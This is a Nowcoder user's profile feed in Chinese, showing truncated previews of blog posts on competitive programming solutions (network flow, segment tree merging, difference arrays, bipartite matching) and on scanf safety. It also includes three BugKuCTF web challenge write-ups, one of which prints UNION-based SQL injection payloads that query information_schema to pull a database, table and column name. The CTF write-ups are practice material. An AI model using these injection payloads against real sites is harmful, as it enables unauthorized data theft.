申屠志刚 - 个人主页动态 - 牛客网

发布(1085) 刷题

2019-07-24 17:51

已编辑

2019牛客暑期多校训练营（第一场）

Problem A    题意： 题解： C++版本一   Problem B    题意： 题解： C++版本一   Problem C    题意： 题解： C++版本一   Problem D    题意： 题解： C++版本一   Problem E    题意： 题解： C++版本一   Problem F Random Point in Triangle 题意：https://ac.nowcoder.com/acm/contest/881/F 题解：数学+计算几何+逻辑推理 C++版本一 题解： 特例：正三角形 ...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

吉首大学2019年程序设计竞赛

Problem A SARS病毒 https://ac.nowcoder.com/acm/contest/992/A 题意： 题解： C++版本一 题解：矩阵快速幂+费马小定理 /* *@Author: STZG *@Language: C++ */ #include <bits/stdc++.h> #include<iostream> #include<algorithm> #include<cstdlib> #include<cstring> #include<cstdio> #include&l...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

一、基本概念 差分数组：对于已知有n个元素的离线数列d，我们可以建立记录它每项与前一项差值的差分数组f：显然，f[1]=d[1]-0=d[1];对于整数i∈[2,n]，我们让f[i]=d[i]-d[i-1]。 二、性质 (1)计算数列各项的值：观察d[2]=f[1]+f[2]=d[1]+d[2]-d[1]=d[2]可知，数列第i项的值是可以用差分数组的前i项的和计算的，即d[i]=f[i]的前缀和。 (2)计算数列每一项的前缀和：第i项的前缀和即为数列前i项的和，那么推导可知 即可用差分数组求出数列前缀和； 三、用途 (1)快速处理区间加减操作： 假如现在对数列中区间[L,R]...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

牛客小白月赛16

比赛地址：https://ac.nowcoder.com/acm/contest/949#question 官方题解：https://ac.nowcoder.com/discuss/205975 Problem A 小石的签到题 https://ac.nowcoder.com/acm/contest/949/A 题意： 题解：博弈论 C++版本一 /* *@Author: STZG *@Language: C++ */ #include <bits/stdc++.h> #include<iostream> #include<algorithm&...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

C++ scanf()函数安全性问题

scanf()是C语言中的一个输入函数。与printf函数一样，都被声明在头文件stdio.h里，因此在使用scanf函数时要加上#include <stdio.h>。（在有一些实现中，printf函数与scanf函数在使用时可以不使用预编译命令#include <stdio.h>。）它是格式输入函数，即按用户指定的格式从键盘上把数据输入到指定的变量之中。 int scanf(const char * restrict format,...); 函数的第一个参数是格式字符串，它指定了输入的格式，并按照格式说明符解析输入对应位置的信息并存储于可变参数列表中对应的指针...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

线段树合并

一、基本概念 线段树合并：将已有的两棵线段树合并为一棵，相同位置的信息整合到一起，通常是权值线段树比较裸的，就是将一棵线段树的每一个位置取出来插入另一棵中，但比较高效的线段树合并可以参照可并堆的合并方式 二、算法 假设两棵线段树树：   合并    线段树合并的原理： 对于两颗树的节点u和v ①如果u为空，返回v ②如果v为空，返回u ③否则，新建节点t，整合u和v的信息，然后递归合并u和v的左右子树 过程示例   三、代码 关键代码： int merge(int u,int v){ if (!u) return v; i...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

BZOJ 2733 | 洛谷 P3224 [HNOI2012]永无乡

https://www.lydsy.com/JudgeOnline/problem.php?id=2733 https://www.luogu.org/problemnew/show/P3224 C++版本一 题解：线段树+并查集+线段树合并 用并查集维护连通性，每个连通块内建一棵权值线段树，操作只有合并俩线段树以及查询排名 /* *@Author: STZG *@Language: C++ */ #include <bits/stdc++.h> #include<iostream> #include<algorithm> #include&...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

HDU 3947 River Problem

http://acm.hdu.edu.cn/showproblem.php?pid=3947 题意：一个有向树（河流），只有一个汇点1，每条边只有一个出度。有些河道有污染指数xi,必需要治理，有m段路径，可以去覆盖这些，每被覆盖一次，xi降低响应值。 即 给出一些边必需要覆盖的次数，用m段路径去覆盖，每次覆盖有相应费用，求最小费用。 题解：网络流+最小费用流+流量不等式建图 先设立超级源汇S=0、T=1。 首先对给定的树边建立反向边，然后从结点1开始遍历整棵树，如果到达叶子结点x，则建边（S，x，M，0）（其中M为大整数）。 如果v不是叶子结点，且v的父节点为u，（u，v）的边权为...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

http://acm.hdu.edu.cn/showproblem.php?pid=3998 题意：给定一个序列，求此序列的最大上升子序列的长度，以及在此长度下不相交的序列条数。 题解：网络流+最大流+DP 首先动态规划求出F[i]，表示以第i位为开头的最长上升序列的长度，求出最长上升序列长度K。 1、把序列每位i拆成两个点<i.a>和<i.b>，从<i.a>到<i.b>连接一条容量为1的有向边。 2、建立附加源S和汇T，如果序列第i位有F[i]=K，从S到<i.a>连接一条容量为1的有向边。 3、如果F[i]=1，从&l...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

http://acm.hdu.edu.cn/showproblem.php?pid=3572 题意：给N个任务，M台机器。每个任务有最早才能开始做的时间S，deadline E，和持续工作的时间P。每个任务可以分段进行,但是在同一时刻,一台机器最多只能执行一个任务. 问存不存在可行的工作时间。 题解：网络流+最大流 由于时间<=500且每个任务都能断断续续的执行,那么我们把每一天时间作为一个节点来用网络流解决该题.        建图: 源点s(编号0), 时间1-500天编号为1到500, N个任务编号为500+1 到500+N, 汇点t(编号501+N).       ...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

Soldier and Traveling

http://codeforces.com/contest/546/problem/E 题意：给定一张n个结点，m条边的无向图，再给定n个整数a[1],a[2]…a[n]代表初始时每个结点上驻守的士兵数量，每个结点的士兵可以在原地不动，也可以移动到与当前结点邻接的其他结点上去，但只能移动一次。现在问，能否通过合理的移动使得最终这n个结点驻守的士兵数量分别为b[1],b[2]…b[n]，如果可以输出”YES”，同时输出一个矩阵表示士兵的移动情况，矩阵的第u行第v列代表有多少个士开始在u结点，后来到了v结点，如果无解输出”NO”即可。 题解：网络流 建模，首先建立一个下标为0的源点和下标为n...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

http://poj.org/problem?id=3041 题意:有一个N*N的网格,该网格有K个障碍物.你有一把武器,每次你使用武器可以清楚该网格特定行或列的所有障碍.问你最少需要使用多少次武器能清除网格的所有障碍物? 题解：最小点覆盖 把网格的行1到N看出左边点集的点,网格的列号看成右边点集的点. 如果(i,j)格有障碍,那么就在左边i点到右边j点之间连接一条边. 现在的问题是 我们要在新图中选择最少的点使得所有边都至少有一个端点被选中了.(想想是不是就等价于原问题使用武器次数最少?) 那么以上就是一个最小覆盖集的问题. 最小覆盖数 = 最大匹配数. /* *@Author:...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

BugKuCTF WEB 成绩单

http://123.206.87.240:8002/chengjidan/   题解： 版本一 输入0' union select database(),2,3,4 # 数据库名：skctf_flag 输入0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#  数据库表名：fl4g   输入0' union select column_name,2,3,4 from information_schema.columns w...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

BugKuCTF WEB 备份是个好习惯

http://123.206.87.240:8002/web16/ 题解： MD5编码 d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e  MD5解码 NULL 理论知识： 将原有文件改名进行简单的备份，如将index.php重命名为index.php.bak或者index_bak.php，然后对原文件index.php进行修改，满足其开发要求，在失败的情况下可以再将 index.php.bak或者index_bak.php文件重命名index.php进行还原，这是在没有版本控制的情况...

0 点赞评论收藏

转发

2019-07-24 17:51

已编辑

BugKuCTF WEB 点击一百万次

http://123.206.87.240:9001/test/ 题解： 版本一 工具：火狐插件hackbar 关键代码 <script> var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375...

0 点赞评论收藏

转发

工具箱

TA的圈子

TA的笔记

牛客网
牛客企业服务